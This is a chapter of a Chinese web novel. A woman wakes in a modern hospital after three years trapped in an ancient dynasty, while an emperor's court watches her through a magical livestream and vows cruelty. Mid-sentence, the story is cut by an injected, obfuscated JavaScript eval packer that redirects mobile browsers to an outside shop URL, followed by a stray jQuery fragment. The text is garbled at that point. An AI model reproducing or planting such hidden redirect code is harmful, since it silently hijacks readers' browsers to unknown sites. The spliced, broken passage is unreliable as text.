定海市中心医院的急诊病房内,阳光透过湛蓝色的窗帘缝隙,洒在整洁的病床之上,正巧照到了谭轻歌微动的眼皮上。
然而即使那眼皮在不断地颤动,谭轻歌依旧没有清醒的迹象。
身边有低低的抽泣之声,还有医生在提醒不要打扰病人。
随着病房中的人陆陆续续退出,日头西斜,夕阳被无尽的夜色吞没了。清冷的月光代替日光从缝隙中探头,病床上的人骤然睁开了眼睛。
她迷茫地坐起身来,迟疑的小心翼翼的环顾四周。
是个宽敞的单人病房、床头有着检测心率与生命体态的仪器、墙上悬挂着个黑屏的液晶电视、电视的遥控器就放在一旁的柜子上……
没有冰冷的宫殿、恶毒的言语与辱骂,而自己身体状态极好,除了喉咙处泛着疼痛,浑身都充满了力气。
真的回来了,谭轻歌眼泪不受控制地落下,啪嗒啪嗒的染湿了病号服。
此时,“咔哒”的开门声响起来,谭轻歌还未来得及抬头,就听见一人惊喜的欢呼:“轻歌姐,你终于醒了。”
她向门口处看去,一个穿着粉红兔子帽衫的女孩咬着嘴唇,一脸关切。
而她身后则站着个身材魁梧的高大男人,约莫五十多的年纪,原本一丝不苟的西装衣角现在聚起了褶皱,领带也滑稽的歪斜着。
谭轻歌眼泪更凶地涌出,声音发颤:“爸……”
谭式开扔掉了手里的水果,大步上前抱住了谭轻歌瘦弱的身子,他嗓音低沉,带着深深的疲惫:“还好你没事。”
说着,这个向来在外人面前威严至极的男人眼角也落下了泪。
穿着粉色帽衫的女孩是谭轻歌的助理,她看着父女俩温存的画面,悄悄拐出病房,并关上了门。
然而他们不知道的是,在另一个位面,这些情景全然落入了尚处在古代文明的人们眼中。
这其中自然包括眼睁睁看着谭轻歌“羽化登仙”,又突然出现在透明帷幕上的仙寿宫中所有人。
那道明显不属于人类的机械音响起后,他们就又再次看到了谭轻歌。
他们看着她在一个陌生的环境中苏醒,她周边的一切物件都是在场人闻所未闻见所未见的,他们甚至无法用语言描述出那些东西是什么,宫殿中乱作一团,议论声四起。
但谭轻歌却分外的平静,她哭不是因为那些陌生物品,她眼中分明是对周身环境的依恋与熟悉。
这里是何处?谭轻歌的家乡吗,居然是如此不可名状之地。
他们略带恐惧的看向那滴答滴答,还显示着各种红色绿色诡异的线的仪器,那仪器的另一头连接着谭轻歌的身体。
“那东西是干什么用的?”
“定是妖术!”大殿之中有人道。
“可妖术为何要用在自己身上?”质疑声也响了起来。
吵吵嚷嚷的杂音顿时大增,仙寿宫内乱作一团。
恭宣帝好不容易才缓过神来,大叫着:“安静!”
虽然他方才还狼狈不堪的求饶于谭轻歌,可这时候也没人敢忤逆皇帝的话语,立刻静了。
皇后泫然欲泣地扑上来,仔仔细细的检查恭宣帝受伤的手,嘴中不断呢喃着:“叫太医、快叫太医。”
恭宣帝一把推开她,淬毒的眼神紧盯着透明帷幕上的谭轻歌,道:“来人,给我吩咐下去,哪怕掘地三尺也要把这妖女找到。”
侍卫本想一口应下,可看着那明显不属于他们认知里的屋内摆设,略为犹豫:“可是……”
“怎么,你们还真信了这妖女的话不成?朕可是天子,朕都没能参破长生之道,这妖女更不可能!……她一定窝藏在某处,把她找出来,朕要活剥了她的皮——”
震惊的抽气声忽然响起,却不是因为恭宣帝的狠毒话语。
殿内众人看着屏幕当中,谭轻歌与一名中年男子相拥在了一起。
恭宣帝看着,脸都绿了,张大着嘴巴却说不出来话。
好在有人提醒道:“此人应该是她的父亲。”
众人神色这才稍稍缓和,可随即又泛起疑窦,就算是父女,这样的行为也太过亲密了。
有人遮住眼睛,语气嫌恶:“真让人恶心,简直是有悖纲常!”
恭宣帝也是愤怒至极,谭轻歌无论怎么说也是他的女人,就算是被他厌恶抛弃,她也应为他守节。对待父亲兄长,更应该恪守礼节,他道:“如此水性杨花之人,朕一定要将她凌迟而死。”
而在一道又一道的骂声之中,公西祐定定出神,他望着帷幕上显现的一切,虽心中也有诧异,但却未觉出任何他人所说的恶心之感。
毕竟那拥抱根本不带任何情愫,有的只有温馨的亲情,他从未感受过的……父子之情。
谭轻歌安慰似的拍着老爸的背,她早已止住了哭泣,自己本不是脆弱爱哭的性格。
可是谭式开的眼泪却跟放了闸一样停不下来,明明平时是那样不苟言笑一个人,谭轻歌也是头一次见到父亲这样的敏感一面。
等到谭式开平复好心情,这个人高马大的男人又臊得慌,他低着头道:“好在你没事,不然你妈不会放过我的,就算她现在已经到了地底下,动不着我。将来等我一下去,她也肯定得再打死我一回。”
“我这不是没事?”谭轻歌语气轻快的安慰父亲。
然而父女俩都不是多话的人,待到死里逃生和失而复得的温存气氛一过,便有些尴尬,不知说些什么好。
谭轻歌在灵朝蹉跎三年,心底最记挂的就是父亲,她有意多找些话题,却不知从何开口。
和父亲谈起这三年的时光吗?她即使不说也能想象到谭式开会如何伤心,父亲向来面冷心热,嘴上话不多却是最关心她的人。要是被他知道谭轻歌这三年是如何被欺负甚至还被迫怀上了孩子,他估计会气得发疯。
好在小思是个极有眼力见的姑娘,她适时敲门进来,打破了这无端的沉默。
小思穿着粉色帽衫一屁股坐到了谭轻歌的床边,抓住谭轻歌的手哭丧着脸道:“轻歌姐,你可真的吓死我了,怎么就突然掉进了泳池里,还溺水昏迷了,你明明是会游泳的啊,那泳池水也不深……”
“溺水昏迷?”谭轻歌抓住了她话中的关键字眼。
这才回想起来,三年前她突然穿越到灵朝,恰好是因为一次在派对上的失足落水。她醒来后天地都变了一番
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207902|151031||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
景象,经过了那磨难多多的三年,这溺水的事情像发生在上辈子。
“我昏迷了多久?”她问道。
小思慎重的伸出了三根手指,道:“整整三天三夜,你可要把我们所有人都吓死了。你都不知道,举办派对的李导看见你昏迷不醒,差点也跟着厥过去,毕竟这是他一手操办的生日派对,你要出了什么事他这辈子都得在愧疚中度过……这是他的原话,所以他一直在和我说,要是你醒了一定要先联系他,他怎么着也得来看望看望……”
小思后面的絮絮叨叨谭轻歌没有心思听,依然沉浸在她所说的“三天三夜”一句中。心中喟叹顿起,原来在灵朝的三年,在神州只过了三天吗?
她怅然若失,但更多的是庆幸,幸好只是三天,不然她不知道家人和朋友们该多难过。
更可怕的,要是她们以为自己死了,直接办起了葬礼……谭轻歌无奈地笑了起来,眉眼染上一丝俏皮,嘴角的弧度都透露着轻快。
她已经许久没有露出这样的笑容来了,如今回到了神州,笑容才从心底由内而外的绽开。
通过位面直播系统观看着直播的人们,在看到她露出这样的笑后,诡异地陷入了沉默。
他们从未见到谭轻歌笑过,准确来说,他们从未见过谭轻歌真正的笑。
在灵朝时,她多数时间面无表情,少数的笑也多是在讥讽的挑起嘴角。
他们从不知道,原来谭轻歌笑起来这样治愈,好像能感染人心一般,如清风拂过莲花池,不见风只闻其香。
“天上一天,地上一年,难道她真的是圣女,她的故乡是天国?”
“怎么可能,瞧他们所在的地方,尽是些奇怪东西,还没有仙寿宫一半的豪华,什么神州,穷乡僻壤罢了!”
他这话一出,仙寿宫的人当即将点头称是。
“可那些东西,我等从未见过。”
“那又如何,待我大灵的兵马踏平他们藏身之地,便能好好把那些奇怪物什拿来好好研究。”
恭宣帝闻言,激动地推开了给他治疗手伤的太医,喝彩道:“说得好,给朕赏!”
殿内掌声雷动,恭贺恭喜的话语不绝于耳。
那拍马屁之人紧忙跪在地,一叠声道:“多谢圣上”。
恭宣帝摆摆手,贪婪地看向帷幕。
谭轻歌几人已经叙完了旧,谭父每日要务缠身,很多事还等着他回去拍板做决定,只得先走一步。
小思虽是个话痨子,可谭轻歌毕竟是鬼门关走了一遭,虽说抢救非常及时,但她也不好再说话扰她。
正把病床摇平,给谭轻歌削着苹果。
恭宣帝看着那十分便利能各个角度折叠的床和床边柜上的果篮十分眼热。
想来神州可能地界小了点,但产的果子种类倒是丰盛。若是能把神州纳入附属国,日后还愁贡品贫瘠吗?
小思完整地削下了整条苹果皮,朝谭轻歌笑嘻嘻的说笑。
谭轻歌没有睡意,望着窗外闪烁的霓虹灯,定海市的夜景非常知名,即使是凌晨三点,此时也还是灯火通明。
小思忽然神秘兮兮说:“对了轻歌姐,你还记得是谁把你救上来的吗?”